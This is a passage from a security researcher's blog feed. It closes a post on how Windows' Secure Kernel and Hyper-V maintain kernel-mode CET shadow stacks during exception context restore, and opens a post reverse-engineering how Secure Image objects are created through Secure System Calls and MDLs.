<p>We can think of the steps leading up to the invocation of the secure system call as “preparing” the <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure with all of the appropriate information needed to resume execution (which is gathered from the unwind information). Before actually letting execution resume, however, we ask the Secure Kernel to restore the appropriate shadow stack. This is done by <code class="language-plaintext highlighter-rouge">nt!KeKernelShadowStackRestoreContext</code>. We can first see that the <code class="language-plaintext highlighter-rouge">CONTEXT</code> record is already prepared to set the instruction pointer back to <code class="language-plaintext highlighter-rouge">Ntfs!NtfsFsdCreate</code>, which is the function we were executing in before the exception was thrown if we refer back to the exception callstack screenshot previously shown.</p>

<p><img src="/images/kcet53.png" alt="" /></p>

<p>As part of the exception restoration process, the presence of kernel CET is again checked and an instruction called <code class="language-plaintext highlighter-rouge">rdsspq</code> is executed, storing the value in RDX (which is used as the second parameter to <code class="language-plaintext highlighter-rouge">nt!KeKernelShadowStackRestoreContext</code>) and then invoking the target function to restore the shadow stack pointer.</p>

<p><img src="/images/kcet54.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">rdsspq</code> <a href="https://www.felixcloutier.com/x86/rdsspd:rdsspq">is</a> an instruction which will read the current shadow stack pointer. Remember, the shadow stacks are <em>read-only</em> in VTL 0 (where we are executing). We can read the shadow stack, but we cannot corrupt it. This value will be validated by the Secure Kernel.</p>

<p><code class="language-plaintext highlighter-rouge">nt!KeKernelShadowStackRestoreContext</code> is then invoked. The presence of the mask <code class="language-plaintext highlighter-rouge">0x100080</code> in the <code class="language-plaintext highlighter-rouge">CONTEXT.ContextFlags</code> is checked.</p>

<p><img src="/images/kcet55.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">0x100080</code> actually corresponds to <code class="language-plaintext highlighter-rouge">CONTEXT_KERNEL_CET</code>, which is a value which was recently (relatively speaking) added to the Windows SDK. What does <code class="language-plaintext highlighter-rouge">CONTEXT_KERNEL_CET</code> indicate? <code class="language-plaintext highlighter-rouge">CONTEXT_KERNEL_CET</code> indicates that kernel shadow stack context information is present in the <code class="language-plaintext highlighter-rouge">CONTEXT</code>. The only problem is <code class="language-plaintext highlighter-rouge">CONTEXT</code> is a documented structure which <em>does not</em> contain any fields related to shadow stack information in kernel-mode. This is actually because we are <em>technically</em> dealing with an <em>undocumented</em> structure called the <code class="language-plaintext highlighter-rouge">CONTEXT_EX</code> structure, talked about by my friends Yarden and Alex in <a href="https://windows-internals.com/cet-on-windows/#6--context_ex--internals">their</a> blog on user-mode CET internals. This structure was extended to include a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-kernel_cet_context">documented</a> <code class="language-plaintext highlighter-rouge">KERNEL_CET_CONTEXT</code> structure. The <code class="language-plaintext highlighter-rouge">KERNEL_CET_CONTEXT.Ssp</code> is extracted from the structure and is also passed to the secure system call. This is to perform further validation of the shadow stack’s integrity by the Secure Kernel.</p>

<p><code class="language-plaintext highlighter-rouge">nt!VslKernelShadowStackAssist</code> will then issue the secure system call with the appropriate information needed to validate everything and also actually set the restored shadow stack pointer (due to the exception). (Note that I call parameter 2 “optional parameter”. I am not actually sure if it is optional, because most of the time when this was a non-zero parameter it came from <code class="language-plaintext highlighter-rouge">KTRAP_FRAME.Dr0</code>, but I also saw other combinations. We are here to simply show functionality related to exceptions and we are not interested for this blog post in other scenarios).</p>

<p><img src="/images/kcet56.png" alt="" /></p>

<p>This will redirect execution in the Secure Kernel specifically at <code class="language-plaintext highlighter-rouge">securekernel!SkmmNtKernelShadowStackAssist</code>. In our case, execution will redirect into <code class="language-plaintext highlighter-rouge">SkmiNtKssAssistRestoreContext</code>.</p>

<p><img src="/images/kcet57.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">securekernel!SkmiNtKssAssistRestore</code> will perform the bulk of the work here. This function will call into <code class="language-plaintext highlighter-rouge">securekernel!SkmiNtKssAssistDispatch</code>, which is responsible for both validating the context record (and specifically the target instruction pointer) and then actually updates the shadow stack value. Anytime a shadow-stack related instruction is executed (e.g., <code class="language-plaintext highlighter-rouge">rdsspq</code>) the target shadow stack value is pulled from a supervisor shadow stack MSR register. For example, the ring 0 shadow stack can be found in the <code class="language-plaintext highlighter-rouge">IA32_PL0_SSP</code> MSR register.</p>

<p>However, we must remember, kernel CET <em>requires</em> HVCI to be enabled. This means that Hyper-V will be present! So, when the updating of the shadow stack value occurs via <code class="language-plaintext highlighter-rouge">securekernel!SkmiNtKssAssistDispatch</code>, we actually want to set the shadow stack pointer for VTL 0! Remember that VTL 0 is technically treated as a “VM”. The <a href="https://kib.kiev.ua/x86docs/Intel/CET/334525-003.pdf">Intel CET specification</a> defines the shadow stack pointer register for a guest as <code class="language-plaintext highlighter-rouge">VMX_GUEST_SSP</code>. This is part of the guest state of the VMCS for VTL 0! Thank you, once again, for Andrea for pointing this out to me!</p>

<p>How does the VMCS information get updated? When a given VM (VTL 0 in our case) needs to request the services of the hypervisor (like a hypercall), a <code class="language-plaintext highlighter-rouge">vmexit</code> instruction is executed to “exit out of the VM context” and into that of the hypervisor. When this occurs, various “guest state” information is stored in the per-VM structure known as the Virtual Machine Control Structure. The <code class="language-plaintext highlighter-rouge">VMX_GUEST_SSP</code> is now part of that preserved guest state, and <em>ONLY</em> the hypervisor is capable of manipulating the VMCS. This means the hypervisor is in control of the guest shadow stack pointer (the shadow stack pointer for VTL 0!). <code class="language-plaintext highlighter-rouge">VMX_GUEST_SSP</code>, and many of these other “registers” maintained by the VMCS, are referred to as a “virtual processor register” and can be updated by the hypervisor - typically through a <code class="language-plaintext highlighter-rouge">vmwrite</code> instruction.</p>

<p>As I just mentioned, we know we wouldn’t want anyone from VTL 0 to just be able to write to this register. To avoid this, just like updating the permissions of a VTL 0 page (technically GPA), the Secure Kernel asks the hypervisor to do it.</p>

<p>How does updating the guest shadow stack pointer occur? There is a generic function in the Secure Kernel named <code class="language-plaintext highlighter-rouge">securekernel!ShvlSetVpRegister</code>. This function is capable of updating the virtual processor registers for VTL 0 (which would include, as we just mentioned, <code class="language-plaintext highlighter-rouge">VMX_GUEST_SSP</code>). This function has been written up before by my friend <a href="https://windows-internals.com/hyperguard-part-3-more-skpg-extents/">Yarden in her blog post</a>. This function has a target register, which is a value of <a href="https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/datatypes/hv_register_name">type</a> <code class="language-plaintext highlighter-rouge">HV_REGISTER_NAME</code>. Most of these register values are documented through the TLFS. The problem is the register type used in our case is <code class="language-plaintext highlighter-rouge">0x8008E</code>, which is <em>not</em> documented.</p>

<p><img src="/images/kcet58.png" alt="" /></p>

<p>However, as we mentioned before, we know that because of the operation occurring (restoring the shadow stack as a result of the context restore) that the VTL 0 shadow stack will, therefore, need to be updated. We know this won’t be <code class="language-plaintext highlighter-rouge">IA32_PL0_SSP</code>, because this is not the shadow stack for a hypervisor. VTL 0 is a “VM”, as we know, and we can therefore not only infer but confirm through SourcePoint that the target register is <code class="language-plaintext highlighter-rouge">VMX_GUEST_SSP</code>.</p>

<p>To examine the VMCS update the first thing we will need to do is locate where in <code class="language-plaintext highlighter-rouge">hvix64.exe</code> (or <code class="language-plaintext highlighter-rouge">hvax64.exe</code> for AMD systems) the operation occurs (which is the Hyper-V binary). A CPU operating in VMX root mode (the CPU is not executing in context of a VM) can execute the <code class="language-plaintext highlighter-rouge">vmwrite</code> instruction, specifying a target virtual processor register value, with an argument, and update the appropriate guest state. Since <code class="language-plaintext highlighter-rouge">hvix64.exe</code> does not contain any symbols, it was fairly difficult for me to find the location. Starting with the Intel documentation for CET, the target value for <code class="language-plaintext highlighter-rouge">VMX_GUEST_SSP</code> is <code class="language-plaintext highlighter-rouge">0x682A</code>. This means we need to locate anytime <code class="language-plaintext highlighter-rouge">vmwrite</code> occurs to this value. When I found the target address in <code class="language-plaintext highlighter-rouge">hvix64.exe</code>, I set a breakpoint on the target function. We can also see in RDX the target guest shadow stack pointer the Secure Kernel would like to set.</p>

<p><img src="/images/kcet59.png" alt="" /></p>

<p>We then can use the actual SourcePoint debugger’s VMCS-viewing capabilities to see the <code class="language-plaintext highlighter-rouge">VMX_GUEST_SSP</code> updated in real time.</p>

<p>Before:</p>

<p><img src="/images/kcet60.png" alt="" /></p>

<p>After:</p>

<p><img src="/images/kcet61.png" alt="" /></p>

<p>This is how the Secure Kernel emits the hypercall to update the <code class="language-plaintext highlighter-rouge">VMX_GUEST_SSP</code> in VTL 0’s VMCS guest state in situations where something like a context restore operation takes place!</p>

<p>Thank you to my friends <a href="https://twitter.com/aionescu">Alex Ionescu</a>, Andrea, and Yarden for helping me with some questions I had about various behavior I was encountering. This is the end of the restore operation, and <code class="language-plaintext highlighter-rouge">securekernel!SkmmNtKernelShadowStackAssist</code> will eventually return to VTL 0!</p>

<h2 id="conclusion">Conclusion</h2>
<p>I hope you found this blog post informative! I learned a lot writing it. I hope you can see why, now, the Secure Kernel is required for kernel-mode shadow stacks on Windows. Thank you to Alan Sguigna for sending me the powerful SourcePoint debugger and my friends Andrea, Yarden, and Alex for helping me understand certain behavior I was seeing and answering questions! Here are some resources I used:</p>

<ul>
  <li>Intel CET Specification Documentation</li>
  <li>https://cseweb.ucsd.edu/~dstefan/cse227-spring20/papers/shanbhogue:cet.pdf</li>
  <li>Intel SDM</li>
  <li>https://xenbits.xen.org/people/andrewcoop/Xen-CET-SS.pdf</li>
</ul>]]></content><author><name>Connor McGarr</name></author><category term="posts" /><summary type="html"><![CDATA[Using SourcePoint's JTAG debugger to investigate the implementation of Intel CET Shadow Stacks in kernel-mode on Windows]]></summary></entry><entry><title type="html">Windows Internals: Dissecting Secure Image Objects - Part 1</title><link href="/secure-images/" rel="alternate" type="text/html" title="Windows Internals: Dissecting Secure Image Objects - Part 1" /><published>2024-06-01T00:00:00+00:00</published><updated>2024-06-01T00:00:00+00:00</updated><id>/secure-images</id><content type="html" xml:base="/secure-images/"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Recently I have been working on an un-published (at this time) blog post that will look at how <code class="language-plaintext highlighter-rouge">securekernel.exe</code> and <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> work together in order to enable and support the Kernel Control Flow Guard (Kernel CFG) feature, which is enabled under certain circumstances on modern Windows systems. This comes from the fact that I have recently been receiving questions from others on this topic. During the course of my research, I realized that a relatively-unknown topic that kept reappearing in my analysis was the concept of Normal Address Ranges (NARs) and Normal Address Table Entries (NTEs), sometimes referred to as NT Address Ranges or NT Address Table Entries. The only mention I have seen of these terms comes from <em>Windows Internals 7th Edition, Part 2, Chapter 9</em>, which <a href="https://x.com/aall86/status/1769795201415954442">was written</a> by Andrea Allievi. The more I dug in, the more I realized this topic could probably use its own blog post.</p>

<p>However, when I started working on <em>that</em> blog post I realized that the concept of “Secure Image Objects” also plays into NAR and NTE creation. Because of this, I realized I maybe could just start with Secure Image objects!</p>

<p>Given the lack of debugging capabilities for <code class="language-plaintext highlighter-rouge">securekernel.exe</code>, lack of user-defined types (UDTs) in the <code class="language-plaintext highlighter-rouge">securekernel.exe</code> symbols, and overall lack of public information, there is no way (as we will see) I will be able to completely map Secure Image objects back to absolute structure definitions (and the same goes with NAR/NTEs). This blog (and subsequent ones) are really just analysis posts outlining things such as Secure System Calls, functionality, the reverse engineering methodology I take, etc. I am not an expert on this subject matter (like Andrea, Satoshi Tanda, or others) and mainly writing up my analysis for the sheer fact there isn’t too much information out there on these subjects and I also greatly enjoy writing long-form blog posts. With that said, the “song-and-dance” performed between NT and Secure Kernel to load images/share resources/etc. is a very complex (in my mind) topic. The terms I use are based on the names of the functions, and may differ from the actual terms as an example. So please feel free to reach out with improvements/corrections. Lastly, Secure Image objects can be created for other images other than drivers. We will be focusing on driver loads. With this said, I hope you enjoy!</p>

<h2 id="secure_image-overview"><code class="language-plaintext highlighter-rouge">SECURE_IMAGE</code> Overview</h2>
<p><em>Windows Internals, 7th Edition, Chapter 9</em> gives a brief mention of <code class="language-plaintext highlighter-rouge">SECURE_IMAGE</code> objects:</p>

<blockquote>
  <p>…The NAR contains some information of the range (such as its base address and size) and a pointer to a <code class="language-plaintext highlighter-rouge">SECURE_IMAGE</code> data structure, which is used for describing runtime drivers (in general, images verified using Secure HVCI, including user mode images used for trustlets) loaded in VTL 0. Boot-loaded drivers do not use the <code class="language-plaintext highlighter-rouge">SECURE_IMAGE</code> data structure because they are treated by the NT memory manager as private pages that contain executable code…</p>
</blockquote>

<p>As we know with <a href="https://connormcgarr.github.io/hvci">HVCI</a> (at the risk of being interpreted as pretentious, which is not my intent, I have linked my own blog post), VTL 1 is responsible for enforcing W^X (write XOR execute, meaning WX memory is not allowed). Given that drivers can be dynamically loaded at anytime on Windows, VTL 0 and VTL 1 need to work together in order to ensure that before such drivers are actually loaded, the Secure Kernel has the opportunity to apply the correct safeguards to ensure the new driver isn’t used, for instance, to load unsigned code. This whole process starts with the creation of the Secure Image object.</p>

<p>This is required because the Secure Kernel needs to monitor access to some of the memory present in VTL 0, where “normal” drivers live. Secure Image objects allow the Secure Kernel to manage the state of these runtime drivers. Managing the state of these drivers is crucial to enforcing many of the mitigations provided by virtualization capabilities, such as HVCI. A very basic example of this is when a driver is being loaded in VTL 0, we know that VTL 1 needs to create the proper Second Layer Address Translation (SLAT) protections for each of the given sections that make up the driver (e.g., the <code class="language-plaintext highlighter-rouge">.text</code> section should be RX, <code class="language-plaintext highlighter-rouge">.data</code> RW, etc.). In order for VTL 1 to do that, it would likely need some additional information and context, such as maybe the address of the entry point of the image, the number of PE sections, etc. - this is the sort of thing a Secure Image object can provide - which is much of the needed context that the Secure Kernel needs to “do its thing”.</p>

<p>This whole process starts with code in NT which, upon loading runtime drivers, results in NT extracting the headers from the image being loaded and sending this information to the Secure Kernel in order to perform the initial header verification and build out the Secure Image object.</p>

<blockquote>
  <p>I want to make clear again - although the process for creating a Secure Image object may start with what we are about to see in this blog post, even after the Secure System Call returns to VTL 0 in order to create the initial object, there is still a “song-and-dance” performed by <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code>, <code class="language-plaintext highlighter-rouge">securekernel.exe</code>, and <code class="language-plaintext highlighter-rouge">skci.dll</code>. This specific blog does not go over this whole “song-and-dance”. This blog will focus on the initial steps taken to get the object created in the Secure Kernel. In future blogs we will look at what happens after the initial object is created. For now, we will just stick with the initial object creation.</p>
</blockquote>

<h2 id="a-tiny-secure-system-call-primer">A Tiny Secure System Call Primer</h2>
<p>Secure Image object creation begins through a mechanism known as a <em>Secure System Call</em>. Secure System Calls work at a high-level similarly to how a traditional system call works:</p>

<ol>
  <li>An untrusted component (NT in this case) needs to access a resource in a privileged component (Secure Kernel in this case)</li>
  <li>The privileged component exposes an interface to the untrusted component</li>
  <li>The untrusted component packs up information it wants to send to the privileged component</li>
  <li>The untrusted component specifies a given “call number” to indicate what kind of resource it needs access to</li>
  <li>The privileged component takes all of the information, verifies it, and acts on it</li>
</ol>

<p>A “traditional” system call will result in the emission of a <code class="language-plaintext highlighter-rouge">syscall</code> assembly instruction, which performs work in order to change the current execution context from user-mode to kernel-mode. Once in kernel-mode, the original request reaches a specified dispatch function which is responsible for servicing the request outlined by the System Call Number. Similarly, a Secure System Call works almost the same in concept (but not necessarily in the technical implementation). Instead of <code class="language-plaintext highlighter-rouge">syscall</code>, however, a <code class="language-plaintext highlighter-rouge">vmcall</code> instruction is emitted. <code class="language-plaintext highlighter-rouge">vmcall</code> is not specific to the Secure Kernel and is a general opcode in the 64-bit instruction set. A <code class="language-plaintext highlighter-rouge">vmcall</code> instruction simply allows guest software (in our case, as we know from HVCI, VTL 0 - which is where NT lives - is effectively treated as “the guest”) to make a call into the underlying VM monitor/supervisor (Hyper-V). In other words, this results in a call into Secure Kernel from NT.</p>

<p>The NT function <code class="language-plaintext highlighter-rouge">nt!VslpEnterIumSecureMode</code> is a wrapper for emitting a <code class="language-plaintext highlighter-rouge">vmcall</code>. The thought process can be summed up, therefore, as this: if a given function invokes the <code class="language-plaintext highlighter-rouge">nt!VslpEnterIumSecureMode</code> function in NT, that caller of said function is responsible (generally speaking mind you) of invoking a Secure System Call.</p>

<p>Although performing dynamic analysis on the Secure Kernel is difficult, one thing to note here is that <strong>the order the Secure Systm Call arguments are packed and shipped to the Secure Kernel is the same order the Secure Kernel will operate on them</strong>. So, as an example, the function <code class="language-plaintext highlighter-rouge">nt!VslCreateSecureImageSection</code> is one of the many functions in NT that results in a call to <code class="language-plaintext highlighter-rouge">nt!VslpEnterIumSecureMode</code>.</p>

<p><img src="/images/secureimage0.png" alt="" /></p>

<p>The <em>Secure System Call Number</em>, or SSCN, is stored in the RDX register. The R9 register, although not obvious from the screenshot above, is responsible for storing the packed Secure System Call arguments. These arguments are packed in the form of a in-memory <code class="language-plaintext highlighter-rouge">typedef struct</code> structure (which we will look at later).</p>

<p>On the Secure Kernel side, the function <code class="language-plaintext highlighter-rouge">securekernel!IumInvokeSecureService</code> is a very large function which is the “entry point” for Secure System Calls. This contains a large switch/case statement that correlates a given SSCN to a specific dispatch function handler. The exact same order these arguments are packed is the exact same order they will be unpacked and operated on by the Secure Kernel (in the screenshot below, <code class="language-plaintext highlighter-rouge">a1</code> is the address of the structure, and we can see how various offsets are being extracted from the structure, which is due to <code class="language-plaintext highlighter-rouge">struct-&gt;Member</code> access).</p>

<p><img src="/images/secureimage00.png" alt="" /></p>

<p>Now that we have a bit of an understanding here, let’s move on to see how the Secure System Call mechanism is used to help Secure Kernel create a Secure Image object!</p>

<h2 id="secure_image-non-comprehensive-creation-overview"><code class="language-plaintext highlighter-rouge">SECURE_IMAGE</code> (Non-Comprehensive!) Creation Overview</h2>
<p>Although by <em>no</em> means is this a surefire way to identify this data, a method that could be employed to locate the functionality for creating Secure Image objects is to just search for terms like <code class="language-plaintext highlighter-rouge">SecureImage</code> in the Secure Kernel symbols. Within the call to <code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateSecureImageSection</code> we see a call to an externally-imported function, <code class="language-plaintext highlighter-rouge">skci!SkciCreateSecureImage</code>.</p>

<p><img src="/images/secureimage1.png" alt="" /></p>

<p>This means it is highly likely that <code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateSecureImageSection</code> is responsible for accepting some parameters surrounding the Secure Image object creation and forwarding that on to <code class="language-plaintext highlighter-rouge">skci!SkciCreateSecureImage</code>. Focusing our attention on <code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateSecureImageSection</code> we can see that this functionality (<code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateSecureImageSection</code>) is triggered through a Secure System Call with an SSCN of <code class="language-plaintext highlighter-rouge">0x19</code> (the screenshot below is from the <code class="language-plaintext highlighter-rouge">securekernel!IumInvokeSecureService</code> Secure System Call dispatch function).</p>

<p><img src="/images/secureimage2.png" alt="" /></p>

<p>Again, by <em>no</em> means is this correct in all cases, but I have noticed that most of the time when a Secure System Call is issued from <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code>, the corresponding “lowest-level function”, which is responsible for invoking <code class="language-plaintext highlighter-rouge">nt!VslpEnterIumSecureMode</code>, has a similar name to the associated sispatch function in <code class="language-plaintext highlighter-rouge">securekernel.exe</code> which handles the Secure System Call. Luckily this applies here and the function which issues the SSCN of <code class="language-plaintext highlighter-rouge">0x19</code> is the <code class="language-plaintext highlighter-rouge">nt!VslCreateSecureImageSection</code> function.</p>

<p><img src="/images/secureimage3.png" alt="" /></p>

<p>Based on the call stack here, we can see that when a new section object is created for a target driver image being loaded, the <code class="language-plaintext highlighter-rouge">ci.dll</code> module is dispatched in order to determine if the image is compatible with HVCI (if it isn’t, <code class="language-plaintext highlighter-rouge">STATUS_INVALID_IMAGE_HASH</code> is returned). Examining the parameters of the Secure System Call reveals the following.</p>

<blockquote>
  <p>Note that at several points I will have restarted the machine the analysis was performed on and due to KASLR the addresses will change. I will provide enough context in the post to overcome this obstacle.</p>
</blockquote>

<p><img src="/images/secureimage4.png" alt="" /></p>

<p>With Secure System Calls, the first parameter (seems to be) always <code class="language-plaintext highlighter-rouge">0</code> and/or reserved. This means the arguments to create a Secure Image object are packed as follows.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">_SECURE_IMAGE_CREATE_ARGS</span>
<span class="p">{</span>
    <span class="n">PVOID</span> <span class="n">Reserved</span><span class="p">;</span>
    <span class="n">PVOID</span> <span class="n">VirtualAddress</span><span class="p">;</span>
    <span class="n">PVOID</span> <span class="n">PageFrameNumber</span><span class="p">;</span>
    <span class="n">bool</span> <span class="n">Unknown</span><span class="p">;</span>
    <span class="n">ULONG</span> <span class="n">Unknown</span><span class="p">;</span>
    <span class="n">ULONG</span> <span class="n">Unknown1</span><span class="p">;</span>
<span class="p">}</span> <span class="n">SECURE_IMAGE_CREATE_ARGS</span><span class="p">;</span>
</code></pre></div></div>

<blockquote>
  <p>As a small point of contention, I know that the page frame number is such because I am used to dealing with looking into memory operations that involve both physical and virtual addresses. Anytime I see I am dealing with some sort of lower-level concept, like loading a driver into memory and I see a value that looks like a ULONG paired with a virtual address, I always assume this could be a PFN. I always assume this further in cases especially when the ULONG value is not aligned. A physical memory address is simply (page frame number * <code class="language-plaintext highlighter-rouge">0x1000</code>), plus any potential offset. Since there is not <code class="language-plaintext highlighter-rouge">0</code> or <code class="language-plaintext highlighter-rouge">00</code> at the end of the address, this tells me that this is the page frame number. This is not a “sure” method to do this, but I will show how I validated this below.</p>
</blockquote>

<p>At first, I was pretty stuck on what this first virtual address was used for. We previously saw the call stack which is responsible for invoking <code class="language-plaintext highlighter-rouge">nt!VslCreateSecureImageSection</code>. If you trace execution in IDA, however, you will quickly see this call stack is a bit convoluted as most of the functions called are called via function pointer as an input parameter from other functions making tracing the arguments a bit difficult. Fortunately, I saw that this virtual address was used in a call to <code class="language-plaintext highlighter-rouge">securekernel!SkmmMapDataTransfer</code> almost <em>immediately</em> within the Secure System Call handler function (<code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateSecureImageSection</code>). Note although IDA is annotated a bit with additional information, we will get to that shortly.</p>

<p><img src="/images/secureimage5.png" alt="" /></p>

<p>It <a href="https://i.blackhat.com/USA-20/Thursday/us-20-Amar-Breaking-VSM-By-Attacking-SecureKernal.pdf">seems</a> this function is actually publicly-documented thanks to Saar Amar and Daniel King’s BlackHat talk! This actually reveals to us that the first argument is an MDL (Memory Descriptor List) while the second parameter, which is <code class="language-plaintext highlighter-rouge">PageFrameNumber</code>, is a page frame number which we don’t know its use yet.</p>

<p>According to the talk, <code class="language-plaintext highlighter-rouge">securekernel.exe</code> tends to use MDLs, which are provided by VTL 0, for cases where data may need to be accessed by VTL 1. By no means is this an MDL internals post, but I will give a brief overview quickly. An MDL (<code class="language-plaintext highlighter-rouge">nt!_MDL</code>) is effectively a fixed-sized header which is prepended to a variable-length array of page frame numbers (PFNs). Virtual memory, as we know, is contiguous. The normal size of a page on Windows is 4096, or <code class="language-plaintext highlighter-rouge">0x1000</code> bytes. Using a contrived example (not taking into account any optimizations/etc.), let’s say a piece of malware allocated <code class="language-plaintext highlighter-rouge">0x2000</code> bytes of memory and stored shellcode in that same allocation. We could expect the layout of memory to look as follows.</p>

<p><img src="/images/secureimage6.png" alt="" /></p>

<p>We can see in this example the shellcode spans the virtual pages <code class="language-plaintext highlighter-rouge">0x1ad2000</code> and <code class="language-plaintext highlighter-rouge">0x1ad3000</code>. However, this is the <em>virtual</em> location, which is contiguous. In the next example, the reality of the situation creeps in as the physical pages which back the shellcode are in two separate locations.</p>

<p><img src="/images/secureimage7.png" alt="" /></p>

<p>An MDL would be used in this case to describe the physical layout of the memory of a virtual memory region. The MDL is used to say “hey I have this contiguous buffer in virtual memory, but here are the physical non-contiguous page(s) which describe this contiguous range of virtual memory”.</p>

<p>MDLs are also typically used for direct memory access (DMA) operations. DMA operations don’t have the luxury of much verification, because they need to access data quickly (think UDP vs TCP). Because of this an MDL is used because it typically first <em>locks</em> the memory range described into memory so that the DMA operation doesn’t ever access invalid memory.</p>

<p>One of the main features of an MDL is that it allows <em>multiple</em> mappings for the given virtual address a given MDL described (the <code class="language-plaintext highlighter-rouge">StartVa</code> is the beginning of the virtual address range the MDL describes). For instance, consider an MDL with the following layout: a user-mode buffer is described by an MDL’s <code class="language-plaintext highlighter-rouge">StartVa</code>. As we know, user-mode addresses are only valid within the process context of which they reside (and the address space is per-process based on the current page table directory loaded into the CR3 register). Let’s say that a driver, which is in an <em>arbitrary</em> context needs to access the information in the user-mode buffer contained in <code class="language-plaintext highlighter-rouge">Mdl-&gt;StartVa</code>. If the driver goes to access this, and the process context is <code class="language-plaintext highlighter-rouge">processA.exe</code> but the address was only valid in <code class="language-plaintext highlighter-rouge">processB.exe</code>, you are accessing invalid memory and you would cause a crash.</p>

<p>An MDL allows you, through the <code class="language-plaintext highlighter-rouge">MmGetSystemAddressForMdlSafe</code> API, to actually request that the system map this memory into the system address space, from the non-paged pool. This allows us to access the contents of the user-mode buffer, through a kernel-mode address, in an arbitrary process context.</p>

<p>Now, using that knowledge, we can see that the <em>exact</em> same reason VTL 0 and VTL 1 use MDLs! We can think of VTL 0 as the “user-mode” portion, and VTL 1 as the “kernel-mode” portion, where VTL 0 has an address with data that VTL 1 wants. VTL 1 can take that data (in the form of an MDL) and map it into VTL 1 so it can safely access the contents of memory described by the MDL.</p>

<p>Taking a look back at how the MDL looks, we can see that <code class="language-plaintext highlighter-rouge">StartVa</code>, which is the buffer the MDL describes, is some sort of base address. We can confirm this is actually the base address of an image being loaded because it contains <code class="language-plaintext highlighter-rouge">nt!_IMAGE_DOS_HEADER</code> header (<code class="language-plaintext highlighter-rouge">0x5a4d</code> is the magic (<code class="language-plaintext highlighter-rouge">MZ</code>) for a PE file and can be found in the beginning of the image, which is what a kernel image is).</p>

<p><img src="/images/secureimage8.png" alt="" /></p>

<p>However, although this looks to be the “base image”, based on the alignment of <code class="language-plaintext highlighter-rouge">Mdl-&gt;StartVa</code>, we can see quickly that <code class="language-plaintext highlighter-rouge">ByteCount</code> tells us only the first <code class="language-plaintext highlighter-rouge">0x1000</code> bytes of this memory allocation are accessible via this MDL. The <code class="language-plaintext highlighter-rouge">ByteCount</code> of an MDL denotes the size of the range being described by the MDL. Usually the first <code class="language-plaintext highlighter-rouge">0x1000</code> bytes of an image are reserved for all of the headers (<code class="language-plaintext highlighter-rouge">IMAGE_DOS_HEADER</code>, <code class="language-plaintext highlighter-rouge">IMAGE_FILE_HEADER</code>, etc.). If we recall the original call stack (provided below for completeness) we can actually see that the NT function <code class="language-plaintext highlighter-rouge">nt!SeValidateImageHeader</code> is responsible for redirecting execution to <code class="language-plaintext highlighter-rouge">ci.dll</code> (which eventually results in the Secure System Call). This means in reality, although the <code class="language-plaintext highlighter-rouge">StartVa</code> is aligned to look like a base address, we are <em>really</em> just dealing with the headers of the target image at this point. Even though the <code class="language-plaintext highlighter-rouge">StartVa</code> is aligned like a base address, the fact of the matter is the actual address is not relevant to us - only the headers are.</p>

<p><img src="/images/secureimage3.png" alt="" /></p>

<p>As a point of contention before we move on, we can do basic retroactive analysis based on the call stack to clearly see that the image has only been <em>mapped</em> into memory. It has not been fully loaded - and only the initial section object that backs the image is present in virtual memory. As we do more analysis in this post, we will also verify this to be the case with actual data that shows many of the default values in the headers, from disk, haven’t been fixed up (which normally happens when the image is fully loaded).</p>

<p>Great! Now that we know this first paramter is an MDL that contains the image headers, the next thing that needs to happen is for <code class="language-plaintext highlighter-rouge">securekernel.exe</code> to figure out how to safely access the contents region described by the MDL (which are the headers).</p>

<p>The first thing that VTL 1 will do is take the MDL we just showed, provided by VTL 0, and creates a <em>new</em> MDL in VTL 1 that describes the provided MDL from VTL 0. In other words, the new MDL will be laid out as follows.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Vtl1CopyOfVtl0Mdl-&gt;StartVa = page_aligned_address_mdl_starts_in;
Vtl1CopyOfVtl0Mdl-&gt;ByteOffset = offset_from_page_aligned_address_to_actual_address;
</code></pre></div></div>

<p><img src="/images/secureimage9.png" alt="" /></p>

<p>MDLs usually work with a page-aligned address as the base, and any offset in <code class="language-plaintext highlighter-rouge">ByteOffset</code>. This is why the VTL 0 MDL is address is first page-aligned (<code class="language-plaintext highlighter-rouge">Vtl0Mdl &amp; 0xFFFFFFFFFFFFF000</code>), and the offset to the MDL in the page is set in <code class="language-plaintext highlighter-rouge">ByteOffset</code>.</p>

<p>Additionally, from the previous image, we can now realize what the first page frame number used in our Secure System Call parameters is used for. This is the PFN which corresponds to the MDL (the parameter <code class="language-plaintext highlighter-rouge">PfnOfVtl0Mdl</code>). We can validate this in WinDbg.</p>

<p><img src="/images/secureimage10.png" alt="" /></p>

<p>We know that a physical page of memory is simply (page frame number * <code class="language-plaintext highlighter-rouge">PAGE_SIZE</code> + any offset). Although we can see in the previous screenshot that the contents of memory for the page-aligned address of the MDL and the physical memory correspond, if we add the page offset (<code class="language-plaintext highlighter-rouge">0x250</code> in this case) we can clearly see that there is no doubt this is the PFN for the VTL 0 MDL. We can additionally see that for the PTE of the VTL0 MDL the PFNs align!</p>

<p><img src="/images/secureimage11.png" alt="" /></p>

<p>This MDL, after construction, has <code class="language-plaintext highlighter-rouge">StartVa</code> mapped into VTL 1. At this point, for all intents and purposes, <code class="language-plaintext highlighter-rouge">vtl1MdlThatDescribesVtl0Mdl-&gt;MappedSystemVa</code> contains the VTL 1 mapping of the VTL 0 MDL! All integrity checks are then performed on the MDL.</p>

<p><img src="/images/secureimage12.png" alt="" /></p>

